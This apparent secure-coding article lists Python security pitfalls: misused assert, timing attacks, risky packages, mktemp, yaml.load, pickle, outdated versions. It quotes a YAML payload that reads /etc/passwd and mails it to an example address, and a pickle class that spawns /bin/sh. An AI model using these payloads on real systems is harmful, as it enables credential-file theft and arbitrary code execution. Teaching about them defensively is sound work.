How to write secure code in Python
Since the beginning of the digital age, information has become one of the most valuable resources in the world. Personal information, bank data, logins and passwords - all of this, on one hand, makes life a lot easier in many aspects, and on the other, can be used by attackers to commit actions which will have negative consequences for the owner of this information.
Of course, in order to get hold of this information, you first need to find the vulnerabilities in the software that will allow you to steal important information by interfering with the correct execution of the program. In this article, we'll look at vulnerabilities that the Python developer have to avoid when creating the software, and also give recommendations for writing secure code.
1. The assert command
It's not necessary to use assert to protect those code fragments that users shouldn't have access to. Note the following example:
def secure(request, user): assert user.is_admin, "user does not have access" # protected code…
By default, __debug__ is set to True. However, optimizations are often made on the production server, including setting the False value for __debug__. As a result, the assert commands won't work and it'll allow hackers to get to the protected code regardless of the user's authority.
Use the assert command only to tell other developers about the invariants in the code.
2. Timing Attack
Timing Attack - is a method of finding out the running principles of an algorithm, by measuring the time required to process different values. Timing attacks are ineffective when working in a remote network with high latency, as they require accuracy. Because of the changeable latency that exists in many web applications, it's almost impossible to perform a timing attack on servers running HTTP.
But if your application requests a password, for example, via the command line, then it's vulnerable to this kind of attack. A hacker can write a simple script to estimate the time needed to compare the entered and stored secret information. You can see an example of such a script on GitHub.
Use the secrets.compare_digest module introduced in Python 3.5 to check passwords and other private values.
3. Cluttered site-packages directory or the import path
The import system in Python is very flexible, however, it's also one of its biggest security holes. Installing the third-party packages in site-packages, whether in a virtual environment or in a global folder, opens up the potential security holes that might be hidden in these packages.
There are cases of publishing packages in PyPI with names similar to other popular packages that executed arbitrary code. The most high-profile incident, fortunately, didn't harm, but pointed out that the problem exists and, sadly, is being ignored.
Another interesting situation is the dependencies of your dependencies. They may contain vulnerabilities and they can override the specified behavior in Python via the import system.
Carefully select and check the packages used in the project. You can draw your attention to the PyUp.io service. Use the virtual testing environment for all applications to make sure that the global site-packages directory is as clean as possible. Check the packages' digital signature.
4. Temporary files
To create temporary files, the file name is usually generated using the mktemp() function, and then the file with the generated name is created. It's not safe - another process can create a file with this name in the time between the call to the mktemp() function and the subsequent attempt of creating the file by the first process. This can result in your application downloading either incorrect data or showing other temporary files.
Use tempfile.mkstemp to generate temporary files.
5. Using yaml.load
Let's look at the quote from PyYAML documentation:
"Warning: It is not safe to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function."
The example below was found in the Ansible configuration management system. This value could be passed to the Ansible Vault as a (correct) YAML. It calls the os.system() function with the parameters represented in the file.
!!python/object/apply:os.system ["cat /etc/passwd | mail email@example.com"]
Therefore, loading YAML-files from the user values actually leaves the hole safe.
6. Using pickle
Data deserialization via pickle is as dangerous as YAML. Classes in Python can declare the __reduce__ method, which returns a string or tuple, or arguments to the call when using pickle. An attacker can use this to include links to one of the subprocess modules to execute arbitrary commands on the server side.
import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh()))
Never deserialize data from an unreliable source using pickle. Use another serialization pattern, for example, JSON.
7. Using an older version of Python
Many POSIX systems come with Python 2. Since CPython is written in C, there are times when the built-in interpreter itself has security holes. Common security problems in C are associated with memory allocation and buffer overflow errors.
In CPython for many years there were vulnerabilities associated with overflow and going beyond the buffer boundaries, but each was fixed in subsequent versions. Just look at the example from 2.7.13 version and the earlier ones. The vulnerability associated with an integer value overflow allowed the arbitrary code execution.
Install the latest version of Python and don't forget about the updates.
If your projects are still using Python 2 and you are planning to switch to version 3, our article will be able to help you with this.
8. Using the outdated third-party libraries
Like the language itself, dependencies also need updates.
There is a practice of securing those versions of packages with PyPI that are "stable and work well", but it's not always a good idea. There are vulnerabilities in packages to this day, and developers are correcting them. Something is improving in terms of security all the time.
Use services to check for updates, run tests and support packages in the latest versions.
Use tools like InSpec to test the installed packages.
In addition to the recommendations above, several PEPs, which also provide useful tips to ensure code security, are worth mentioning. These include:
PEP-578 - 'Python Runtime Audit Hooks'.
As you can see, it's not enough to write programs which will simply perform the functions assigned to them. They also need to provide a sufficient degree of security so that the information processed by these programs doesn't fall into the wrong hands.
Perhaps you've encountered situations when the developers didn't foresee some non-obvious ways for their code to be used, which led to negative consequences?
Welcome to CheckiO - games for coders where you can improve your codings skills.
The main idea behind these games is to give you the opportunity to learn by exchanging experience with the rest of the community. Every day we are trying to find interesting solutions for you to help you become a better coder.Join the Game